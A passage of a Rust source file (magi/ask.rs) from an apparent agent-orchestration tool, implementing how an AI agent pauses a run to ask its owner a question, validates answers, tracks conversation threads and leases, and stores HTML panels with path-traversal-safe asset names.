magi/ask.rs
1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59pub const SCHEMA: u32 = 4;
60
61/// How often the wait re-reads the question file.
62///
63/// Three seconds: the answer comes from a human on a phone, so the difference
64/// between three seconds and three hundred milliseconds is invisible to them,
65/// while a tight loop would `stat` and parse a file thousands of times per
66/// minute for a wait that routinely lasts hours. Nothing is held between polls -
67/// no lock, no open handle - because `magi web` and `magi answer` write the
68/// same file from other processes.
69const POLL: Duration = Duration::from_secs(3);
70
71/// How long an agent's reply may go unnoticed before it earns its own
72/// notification.
73///
74/// An operator reading the card when the agent replies does not need paging
75/// again for a conversation they are already in; one who walked away still
76/// needs the tap on the shoulder. Five minutes is a judgement call about that
77/// line, not a policy a repository has an opinion about, which is why it lives
78/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
79/// whether they are still looking at the phone, and neither can this build, so
80/// there is nothing for a per-repository setting to be *right* about.
81const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
82
83/// How long the operator's notification command may run before it is killed.
84///
85/// A webhook that hangs must not hang the run. Twenty seconds is long enough
86/// for a slow HTTP round trip and short enough that the operator still gets the
87/// question filed and the run parked in a bounded time.
88const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
89
90/// The longest a single `magi ask` invocation may block on the owner before
91/// it hands the wait back to whatever is running it, rather than to
92/// [`Question::abandon`].
93///
94/// `answer_timeout` defaults to a day, and that is a deadline for the
95/// *question*, not a budget the calling process is free to spend all at
96/// once: an agent CLI's own shell tool kills a command that runs much longer
97/// than this, and the child it kills is `magi ask` itself - the one thing
98/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
99/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
100/// out, and the seat's own summary said it had backgrounded the blocking
101/// `magi ask` and would "continue once the owner replies" - except nothing
102/// was left to notice the reply. The seat exited `completed`, the
103/// backgrounded child died with it, and the owner's eventual answer on the
104/// web UI had nobody left to read it.
105///
106/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
107/// and returns [`Wait::Pending`] if nothing happened, which is not a
108/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
109/// process the tool timeout has never seen. Four minutes leaves a ten-minute
110/// tool budget room for the CLI's own startup and the notification's round
111/// trip, while staying long enough that an owner who answers within the hour
112/// is not making an agent loop through fifteen slices to hear about it.
113const WAIT_SLICE: Duration = Duration::from_secs(240);
114
115/// How long a lease stays believable after its last beat.
116///
117/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
118/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
119/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
120/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
121/// or about to be, and a lease that is merely between two calls must not be
122/// mistaken for that - the daemon waiter would start a second agent on a
123/// conversation the first is still in.
124pub const LEASE_TTL: Duration = Duration::from_secs(90);
125
126/// How long [`Questions::update`]'s lock may be held before it is presumed
127/// left behind by a writer that died.
128const LOCK_STALE: Duration = Duration::from_secs(10);
129
130/// Environment variable naming the base URL of the web UI, for `{url}`.
131///
132/// A run cannot discover this by itself: `magi web` is a different process,
133/// usually started by hand and often on a different machine on the tailnet, and
134/// the address it settled on (Tailscale IP, port, or the fallback it warned
135/// about) exists only in that process. So the operator names it once, in the
136/// environment `magi serve` runs in - `magi web --open` prints exactly the
137/// string to use on stdout. Unset means `{url}` expands to nothing rather than
138/// to a guess: a notification carrying a link to an address nothing is
139/// listening on is worse than one carrying no link at all.
140pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
141
142/// Largest panel magi will store, html plus assets.
143///
144/// Checked as a total, before a single byte is written, because the failure
145/// this prevents is not a full disk but a half-copied panel: an agent that
146/// points at a 200 MB screen recording must get one clean error, not a
147/// directory holding the three small files that fitted before the copy died.
148/// Eight mebibytes is far more than a diff, a table and a handful of images
149/// need, and small enough that a phone on a hotel link still renders it.
150pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
151
152/// Suffix of the directory holding one question's panel.
153///
154/// A sibling of `<id>.json` rather than a subdirectory of the store, so
155/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
156/// see it, and so a panel travels with the question it belongs to.
157const PANEL_DIR: &str = ".panel";
158
159/// The panel's entry point inside its directory.
160const PANEL_HTML: &str = "index.html";
161
162/// Scratch directory a panel is assembled in before it is swapped into place.
163const PANEL_TMP: &str = ".panel.tmp";
164
165/// The one asset filename rule, applied on write **and** on read.
166///
167/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
168/// containing `..`. The pattern is this narrow because the name arrives from
169/// two untrusted directions and is then joined onto a path: an agent naming
170/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
171/// character that could change what the join means is outside the set - `/`
172/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
173/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
174/// refused, which matters because on Windows `Path::join` with an absolute
175/// path *discards the whole prefix* and would serve any file on the disk.
176/// `..` is refused anywhere rather than only at the front so the rule reads
177/// the same as the sentence "no traversal" to anyone auditing it.
178///
179/// The length bound keeps a name inside every filesystem's limit, so a panel
180/// that stores cannot fail to store on the operator's other machine.
181pub fn valid_asset_name(name: &str) -> bool {
182 if name.is_empty() || name.len() > 64 || name.contains("..") {
183 return false;
184 }
185 let mut chars = name.chars();
186 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
187 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
188}
189
190/// Where a question is in its life.
191#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
192#[serde(rename_all = "lowercase")]
193pub enum QuestionStatus {
194 /// Asked, and waiting for the owner. A run is parked behind it.
195 Open,
196 /// The owner decided. [`Question::answer`] holds what they said.
197 Answered,
198 /// Nobody answered in time, or the question outlived the run that asked.
199 /// Kept rather than deleted: what was asked and never answered is the
200 /// evidence that the operator was the bottleneck.
201 Abandoned,
202}
203
204impl QuestionStatus {
205 /// Is a run still parked behind this question?
206 pub fn open(self) -> bool {
207 matches!(self, Self::Open)
208 }
209
210 /// Lowercase name, as it appears on disk and in the API.
211 pub fn as_str(self) -> &'static str {
212 match self {
213 Self::Open => "open",
214 Self::Answered => "answered",
215 Self::Abandoned => "abandoned",
216 }
217 }
218}
219
220/// What the owner said.
221///
222/// Two shapes rather than one string because the question decides which is
223/// admissible, and [`Question::answer`] enforces it. A phone that posts
224/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
225/// front end, and it is caught here rather than handed to an agent as fact.
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
227#[serde(rename_all = "lowercase")]
228pub enum Answer {
229 /// One of the offered choices, verbatim.
230 Choice(String),
231 /// Free text, for a question that offered no choices.
232 Text(String),
233}
234
235/// What the daemon does to the task behind a question when a particular
236/// choice is answered.
237///
238/// A closed set, attached to a choice by the asker (`magi ask --choice X
239/// --action X=resume`) and matched by the choice's exact text. Nothing here
240/// is ever derived from the wording of a label or of a free-text answer: a
241/// question without an action for the chosen label does nothing but answer.
242#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
243#[serde(tag = "do", rename_all = "lowercase")]
244pub enum ChoiceAction {
245 /// Resume this run of the task that owns the question.
246 Resume {
247 /// The run to continue. Must still be the task's latest run.
248 run: String,
249 },
250 /// Requeue the task as a fresh competition.
251 Requeue,
252 /// Close the task as done.
253 Done,
254}
255
256impl ChoiceAction {
257 /// Parse a `--action` value: `<label>=<verb>`, where the verb is
258 /// `resume[:<run>]`, `requeue` or `done`. A `resume` without a run takes
259 /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
260 /// action; whether the label is one of the choices is the caller's check.
261 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
262 let Some((label, verb)) = spec.rsplit_once('=') else {
263 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
264 };
265 let label = label.trim();
266 if label.is_empty() {
267 bail!("`--action {spec}` names no choice before `=`");
268 }
269 let verb = verb.trim();
270 let action = match verb.split_once(':') {
271 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
272 run: run.trim().to_owned(),
273 },
274 None if verb == "resume" => {
275 if default_run.is_empty() {
276 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
277 }
278 Self::Resume {
279 run: default_run.to_owned(),
280 }
281 }
282 None if verb == "requeue" => Self::Requeue,
283 None if verb == "done" => Self::Done,
284 _ => bail!(
285 "unknown action `{verb}` in `--action {spec}`; \
286 use resume[:<run>], requeue or done"
287 ),
288 };
289 Ok((label.to_owned(), action))
290 }
291
292 /// Short human wording, for `magi show` and the card.
293 pub fn describe(&self) -> String {
294 match self {
295 Self::Resume { run } => format!("resume run {}", short(run)),
296 Self::Requeue => "requeue the task".to_owned(),
297 Self::Done => "mark the task done".to_owned(),
298 }
299 }
300}
301
302/// Parse every `--action` value against the offered `choices`, refusing a
303/// label the question does not offer (it could never fire).
304pub fn parse_actions(
305 specs: &[String],
306 choices: &[String],
307 default_run: &str,
308) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
309 let mut out = std::collections::BTreeMap::new();
310 for spec in specs {
311 let (label, action) = ChoiceAction::parse(spec, default_run)?;
312 if !choices.contains(&label) {
313 bail!(
314 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
315 choices.join(", ")
316 );
317 }
318 if out.insert(label.clone(), action).is_some() {
319 bail!("more than one --action for `{label}`");
320 }
321 }
322 Ok(out)
323}
324
325/// Who wrote one turn of a question's conversation.
326///
327/// Two values, not three: [`Question::thread`] is the record of a single
328/// question stopping and resuming, and the agent that resumes it is always
329/// the one that asked - a fresh consultant would have to be caught up on
330/// everything the first agent already knows, which is the round trip this
331/// module exists to avoid. The names and the wire spelling deliberately match
332/// [`crate::chat::Who`], which this module does not depend on: the two are the
333/// same idea in two products, and giving them the same shape is what lets the
334/// phone render both with one component.
335#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
336#[serde(rename_all = "lowercase")]
337pub enum Who {
338 /// The person the agent asked.
339 Operator,
340 /// The agent that asked, replying to a question of its own rather than
341 /// answering.
342 Agent,
343}
344
345/// One turn in a question's back-and-forth, after the question itself was
346/// asked.
347///
348/// The question's own `summary`/`detail`/`choices` already carry the agent's
349/// opening move, so a turn only exists from the moment the owner talks back -
350/// [`Question::thread`] starts empty and stays that way for the overwhelming
351/// majority of questions, which are answered on the first read.
352#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
353#[serde(deny_unknown_fields)]
354pub struct Turn {
355 /// Who said it.
356 pub who: Who,
357 /// What they said.
358 pub body: String,
359 /// When they said it.
360 pub at: Timestamp,
361}
362
363/// Who is keeping watch over an open question.
364#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
365#[serde(rename_all = "lowercase")]
366pub enum WaiterKind {
367 /// The `magi ask` process the agent started.
368 Asker,
369 /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
370 /// own session because the asker is gone.
371 Daemon,
372}
373
374/// The record's note of who was last known to be waiting.
375///
376/// A note, not a promise: nothing rewrites the question when a holder dies, so
377/// whether it still holds is read from the [`Lease`] beside it.
378#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
379pub struct Waiter {
380 /// Who took the wait.
381 pub kind: WaiterKind,
382 /// When they took it.
383 pub since: Timestamp,
384}
385
386/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
387///
388/// A sidecar rather than a field of the question because a holder beats every
389/// few seconds, and rewriting the question that often would race the phone's
390/// answer and say with lost updates. It is not `*.json`, so
391/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
392/// different things across platforms, while a beat that stopped is evidence on
393/// every one.
394#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
395pub struct Lease {
396 /// Who beat last.
397 pub kind: WaiterKind,
398 /// Their process id, for a human reading the file.
399 pub pid: u32,
400 /// When they beat last.
401 pub beat_at: Timestamp,
402}
403
404impl Lease {
405 /// Was the last beat recent enough to believe the holder is still there?
406 pub fn fresh(&self, now: Timestamp) -> bool {
407 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
408 }
409}
410
411/// One decision magi will not take on the owner's behalf.
412#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
413#[serde(deny_unknown_fields)]
414pub struct Question {
415 /// On-disk format version.
416 pub schema: u32,
417 /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
418 /// task's, so the operator can paste any of them at any prefix argument.
419 pub id: String,
420 /// Run that is parked behind this question.
421 pub run: String,
422 /// Graph node the asking agent was working in, e.g. `implement`.
423 pub node: String,
424 /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
425 /// this" decides whether the answer unblocks one candidate or all of them.
426 pub seat: String,
427 /// One line: the question itself. This is what a notification carries and
428 /// what the phone shows above the answer controls.
429 pub summary: String,
430 /// The reasoning behind the question, as markdown. May be long, may be
431 /// empty. Rendered as text nodes by the UI, never as markup.
432 pub detail: String,
433 /// The admissible answers. **Empty means free text** - that one condition
434 /// is the whole difference between the two kinds of question, on disk, in
435 /// the UI, and in [`Question::answer`]'s validation.
436 pub choices: Vec<String>,
437 /// What the daemon does when a given choice is answered, keyed by the
438 /// choice's exact text. Empty for an ordinary question. A key is always
439 /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
440 #[serde(default)]
441 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
442 /// Does this question have an agent-authored HTML panel beside it?
443 ///
444 /// Serialised with a default so a question written by an older magi - or
445 /// by hand - still deserialises rather than failing the whole store, which
446 /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
447 /// open question the operator was looking for.
448 #[serde(default)]
449 pub panel: bool,
450 /// Files copied in beside the panel's html, by base name, sorted.
451 ///
452 /// The list exists so a reader knows what a panel is made of without
453 /// walking the directory, and every entry satisfies [`valid_asset_name`].
454 /// Sorted because it is compared - a question re-asked with the same
455 /// assets in a different argument order is not a different question.
456 #[serde(default)]
457 pub assets: Vec<String>,
458 /// Current state.
459 pub status: QuestionStatus,
460 /// When the agent asked.
461 pub asked_at: Timestamp,
462 /// When the owner answered, if they did.
463 pub answered_at: Option<Timestamp>,
464 /// What they said.
465 pub answer: Option<Answer>,
466 /// Everything said after the question itself, oldest first: the owner
467 /// asking back, the agent replying, as many times as it takes before an
468 /// [`Answer`] lands.
469 ///
470 /// `#[serde(default)]` so a question written before this field existed -
471 /// every question on disk before this build - still deserialises as one
472 /// with no conversation yet, rather than failing [`Questions::list`]'s
473 /// read and quietly hiding an open question from the operator.
474 #[serde(default)]
475 pub thread: Vec<Turn>,
476 /// The `answer_timeout`, in seconds, that was in force when this question
477 /// was first asked. `0` means unrecorded - a question written before this
478 /// field existed, or one filed by a flow (land's merge-approval gate)
479 /// that never sets it because it never resumes a sliced wait.
480 ///
481 /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
482 /// or the config default) is decided by the caller, after the question
483 /// already exists - so it starts at `0` here and whoever files a fresh
484 /// question sets it once, the same way [`Question::panel`] is set by
485 /// [`Questions::put_panel`] rather than by the constructor. It is never
486 /// touched again: `magi ask --wait` reads it as the one deadline it is
487 /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
488 /// on a later call can never quietly extend or shrink the budget the
489 /// question was actually asked with.
490 #[serde(default)]
491 pub answer_timeout: u64,
492 /// The directory the asking agent was working in when it asked, so the
493 /// daemon waiter can resume that agent's session from where it stood.
494 /// `None` for a question no `magi ask` filed (land's approval gate, a
495 /// release notice, one written before this field existed): those have no
496 /// agent to hand anything back to, and the waiter leaves them alone.
497 #[serde(default)]
498 pub cwd: Option<String>,
499 /// Who was last known to be waiting - see [`Waiter`].
500 #[serde(default)]
501 pub waiter: Option<Waiter>,
502 /// How many entries of [`Question::thread`] the agent has been shown, by
503 /// the asking process printing them or by the waiter resuming the seat.
504 /// The owner's turn at an index at or past this has reached nobody yet.
505 #[serde(default)]
506 pub delivered_turns: usize,
507 /// Has the agent been told the [`Answer`]? The asker prints it as it
508 /// returns; the waiter delivers it when the asker was gone.
509 #[serde(default)]
510 pub answer_delivered: bool,
511}
512
513impl Question {
514 /// Ask something. Persist it with [`Questions::put`], or hand it to
515 /// [`ask_and_wait`], which files it and waits.
516 pub fn new(
517 run: String,
518 node: String,
519 seat: String,
520 summary: String,
521 detail: String,
522 choices: Vec<String>,
523 ) -> Self {
524 Self {
525 schema: SCHEMA,
526 id: new_id(),
527 run,
528 node,
529 seat,
530 summary,
531 detail,
532 choices,
533 actions: std::collections::BTreeMap::new(),
534 panel: false,
535 assets: Vec::new(),
536 status: QuestionStatus::Open,
537 asked_at: Timestamp::now(),
538 answered_at: None,
539 answer: None,
540 thread: Vec::new(),
541 answer_timeout: 0,
542 cwd: None,
543 waiter: None,
544 delivered_turns: 0,
545 answer_delivered: false,
546 }
547 }
548
549 /// Short form used in reports and on the phone, matching a run's short id.
550 pub fn short(&self) -> &str {
551 short(&self.id)
552 }
553
554 /// The action attached to the choice that was answered, if the question
555 /// is answered with a choice that carries one. Free text never matches.
556 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
557 match (&self.status, &self.answer) {
558 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
559 _ => None,
560 }
561 }
562
563 /// Does this question want free text rather than one of a set?
564 pub fn free_text(&self) -> bool {
565 self.choices.is_empty()
566 }
567
568 /// Record an answer. Rejects a choice the question does not offer, free
569 /// text on a multiple-choice question, an empty answer, and a second
570 /// answer.
571 ///
572 /// Every rejection here is a case where accepting would put a fabrication
573 /// in front of an agent as if the owner had said it. The messages are
574 /// distinct because the caller is a web handler that shows them verbatim,
575 /// and "that is not one of the choices" and "this question is multiple
576 /// choice" are different mistakes with different fixes.
577 pub fn answer(&mut self, answer: Answer) -> Result<()> {
578 match self.status {
579 QuestionStatus::Answered => bail!(
580 "question {} was already answered; the run has moved on and a \
581 second answer would be a decision nobody acted on",
582 self.short()
583 ),
584 QuestionStatus::Abandoned => bail!(
585 "question {} was abandoned and the run behind it is gone",
586 self.short()
587 ),
588 QuestionStatus::Open => {}
589 }
590 let body = match &answer {
591 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
592 };
593 if body.trim().is_empty() {
594 bail!(
595 "question {} needs an answer; an empty one tells the agent \
596 nothing and it would guess anyway",
597 self.short()
598 );
599 }
600 match &answer {
601 Answer::Choice(c) if self.free_text() => bail!(
602 "question {} asks for free text, so `{c}` cannot be a choice \
603 it offered",
604 self.short()
605 ),
606 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
607 "`{c}` is not one of the choices question {} offers: {}",
608 self.short(),
609 self.choices.join(", ")
610 ),
611 Answer::Text(_) if !self.free_text() => bail!(
612 "question {} is multiple choice; answer with one of: {}",
613 self.short(),
614 self.choices.join(", ")
615 ),
616 _ => {}
617 }
618 self.answered_at = Some(Timestamp::now());
619 self.answer = Some(answer);
620 self.status = QuestionStatus::Answered;
621 Ok(())
622 }
623
624 /// Give up on an answer, keeping the record of what was asked.
625 ///
626 /// An answered question is left alone, which matters at exactly one moment:
627 /// the owner answering in the same second the wait's deadline passes. The
628 /// answer is the thing worth keeping there, and it has already been written
629 /// by another process.
630 ///
631 /// The reason is appended to [`Question::detail`] because the on-disk shape
632 /// is a contract with the front end and has no field of its own for it -
633 /// and "asked at 3am, nobody home for a day" belongs with the question, not
634 /// only in a log the operator will never open.
635 pub fn abandon(&mut self, why: impl Into<String>) {
636 if !self.status.open() {
637 return;
638 }
639 self.status = QuestionStatus::Abandoned;
640 let why = why.into();
641 let why = why.trim();
642 if why.is_empty() {
643 return;
644 }
645 if !self.detail.is_empty() {
646 self.detail.push('\n');
647 }
648 self.detail.push_str("\n_Abandoned: ");
649 self.detail.push_str(why);
650 self.detail.push_str("._\n");
651 }
652
653 /// The answer as the asking agent should read it.
654 ///
655 /// One string for both kinds of question: the agent's prompt says "the
656 /// owner answered:", and a chosen option and a typed sentence are the same
657 /// thing at that point. `None` while the question is open or abandoned, so
658 /// a caller cannot mistake silence for a decision.
659 pub fn resolution(&self) -> Option<String> {
660 match (self.status, &self.answer) {
661 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
662 Some(a.clone())
663 }
664 _ => None,
665 }
666 }
667
668 /// The owner speaking back without answering: a request for context, a
669 /// clarifying question, anything short of a decision.
670 ///
671 /// Rejects the same two states [`Question::answer`] does, and for the same
672 /// reason - a question with a recorded [`Answer`] or an abandoned one has
673 /// no run left listening for a reply - and an empty turn, which would tell
674 /// the agent nothing it didn't already know. Never changes `status`: the
675 /// question stays [`QuestionStatus::Open`], because the owner did not
676 /// decide anything, they only spoke, and `count_open`/`open_for` must keep
677 /// counting this as the one question it always was.
678 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
679 match self.status {
680 QuestionStatus::Answered => bail!(
681 "question {} was already answered; there is nothing left to \
682 discuss",
683 self.short()
684 ),
685 QuestionStatus::Abandoned => bail!(
686 "question {} was abandoned and the run behind it is gone",
687 self.short()
688 ),
689 QuestionStatus::Open => {}
690 }
691 let body = body.into();
692 if body.trim().is_empty() {
693 bail!("a message to question {} cannot be empty", self.short());
694 }
695 self.thread.push(Turn {
696 who: Who::Operator,
697 body,
698 at: Timestamp::now(),
699 });
700 Ok(())
701 }
702
703 /// The agent replying to the owner's last word, in place of an answer:
704 /// same question, same id, another round.
705 ///
706 /// `choices` replaces [`Question::choices`] wholesale rather than merging,
707 /// on the same reasoning [`Questions::put_panel`] replaces a panel
708 /// wholesale: the whole point of asking back is that what should be
709 /// offered next may have changed, and a caller that wanted the old set
710 /// unchanged can simply pass it again. An empty `Vec` means free text,
711 /// exactly as it does when the question is first asked.
712 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
713 match self.status {
714 QuestionStatus::Answered => bail!(
715 "question {} was already answered; replying now would not \
716 reach anyone",
717 self.short()
718 ),
719 QuestionStatus::Abandoned => bail!(
720 "question {} was abandoned and the run behind it is gone",
721 self.short()
722 ),
723 QuestionStatus::Open => {}
724 }
725 let body = body.into();
726 if body.trim().is_empty() {
727 bail!("a reply to question {} cannot be empty", self.short());
728 }
729 // An action whose label is no longer offered could never fire.
730 self.actions.retain(|label, _| choices.contains(label));
731 self.choices = choices;
732 let unread = self.unread_from_owner().is_some();
733 self.thread.push(Turn {
734 who: Who::Agent,
735 body,
736 at: Timestamp::now(),
737 });
738 // The agent has read everything up to its own reply - but only if
739 // nothing the owner said in the meantime is still unread. A second say
740 // that landed after the agent's last look must stay undelivered.
741 if !unread {
742 self.delivered_turns = self.thread.len();
743 }
744 Ok(())
745 }
746
747 /// What the owner said that the agent has not read yet, oldest first,
748 /// joined. `None` unless the question is open and such a turn exists.
749 ///
750 /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
751 /// second owner turn it never saw, which leaves the last turn the agent's
752 /// and the ball apparently back with the owner while a say is still unread.
753 pub fn unread_from_owner(&self) -> Option<String> {
754 if !self.status.open() {
755 return None;
756 }
757 let from = self.delivered_turns.min(self.thread.len());
758 let said: Vec<&str> = self.thread[from..]
759 .iter()
760 .filter(|t| t.who == Who::Operator)
761 .map(|t| t.body.as_str())
762 .collect();
763 (!said.is_empty()).then(|| said.join("\n\n"))
764 }
765
766 /// When the conversation last moved: the newest thread turn, or the asking
767 /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
768 /// every reply, so a deadline runs from here and not from `asked_at`.
769 pub fn last_activity(&self) -> i64 {
770 self.thread
771 .iter()
772 .map(|t| t.at.as_second())
773 .max()
774 .unwrap_or(0)
775 .max(self.asked_at.as_second())
776 }
777
778 /// Is the ball in the agent's court?
779 ///
780 /// True from the moment the owner speaks back until the agent's next
781 /// [`Question::reply`], and never on a fresh or an already-settled
782 /// question. [`QuestionStatus`] does not move for either side of this -
783 /// see [`Question::say`] - so this is the one place that state is
784 /// readable at all, which is why [`crate::web::QuestionView`] carries it
785 /// separately rather than asking the phone to infer it from the thread.
786 pub fn waiting_on_agent(&self) -> bool {
787 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
788 }
789
790 /// Should a notification go out right now?
791 ///
792 /// Always, for the very first ask: [`Question::thread`] is still empty, so
793 /// there is no earlier operator turn to have already caught anyone's
794 /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
795 /// since the owner's own last word - see that constant for why the window
796 /// exists at all and why its length is not configurable.
797 fn should_notify(&self, now: Timestamp) -> bool {
798 let Some(last) = self
799 .thread
800 .iter()
801 .rev()
802 .find(|t| t.who == Who::Operator)
803 .map(|t| t.at)
804 else {
805 return true;
806 };
807 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
808 }
809}
810
811/// A question store on disk.
812#[derive(Debug, Clone)]
813pub struct Questions {
814 root: PathBuf,
815}
816
817impl Questions {
818 /// The operator's questions, `<home>/questions`.
819 pub fn open() -> Self {
820 Self::at(crate::run::home().join("questions"))
821 }
822
823 /// A store at an explicit root. Tests use this, which is why none of them
824 /// need the operator's real home.
825 pub fn at(root: PathBuf) -> Self {
826 Self { root }
827 }
828
829 /// Directory holding the question files.
830 pub fn root(&self) -> &Path {
831 &self.root
832 }
833
834 /// Path for one question id.
835 pub fn path_of(&self, id: &str) -> PathBuf {
836 self.root.join(format!("{id}.json"))
837 }
838
839 /// Directory holding one question's panel, `<root>/<id>.panel`.
840 pub fn panel_dir(&self, id: &str) -> PathBuf {
841 self.root.join(format!("{id}{PANEL_DIR}"))
842 }
843
844 /// Store a panel: the html, plus `assets` copied in under their base
845 /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
846 /// question, or the record on disk will deny having a panel that exists.
847 ///
848 /// The assets are **copied, not referenced**. An agent authors its panel
849 /// inside a candidate worktree and points at files there, and `magi fold`
850 /// deletes those worktrees; a question is the permanent record of a
851 /// decision the owner took, so a panel that referenced its own images
852 /// would render as broken boxes exactly when someone went back to ask why
853 /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
854 /// does, and so does the [`std::fs::metadata`] the size is measured with,
855 /// so the bytes counted and the bytes written are the same target file's -
856 /// which is the intent: storing a link would leave the panel pointing at
857 /// the worktree again, one indirection further away.
858 ///
859 /// Everything that can be rejected is rejected before the first byte is
860 /// written, and the panel is then assembled in a scratch directory and
861 /// swapped in. So a refusal leaves the previous panel intact, and a
862 /// success replaces it *wholesale* rather than merging: a re-asked
863 /// question showing one attempt's diff next to another attempt's table
864 /// would be a panel neither agent ever wrote.
865 ///
866 /// [`put`]: Questions::put
867 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
868 if !valid_asset_name(&q.id) {
869 bail!(
870 "question id `{}` is not a name magi will build a panel path from",
871 q.id
872 );
873 }
874 if html.trim().is_empty() {
875 bail!(
876 "question {} was handed an empty panel; an empty frame reads to \
877 the owner as \"the agent had nothing to say\", which is a lie",
878 q.short()
879 );
880 }
881
882 // Names, then sizes, then writing - in that order, so nothing below
883 // can leave a partial panel on disk.
884 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
885 for src in assets {
886 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
887 if !valid_asset_name(name) {
888 bail!(
889 "panel asset `{}` cannot be stored: a panel file name must \
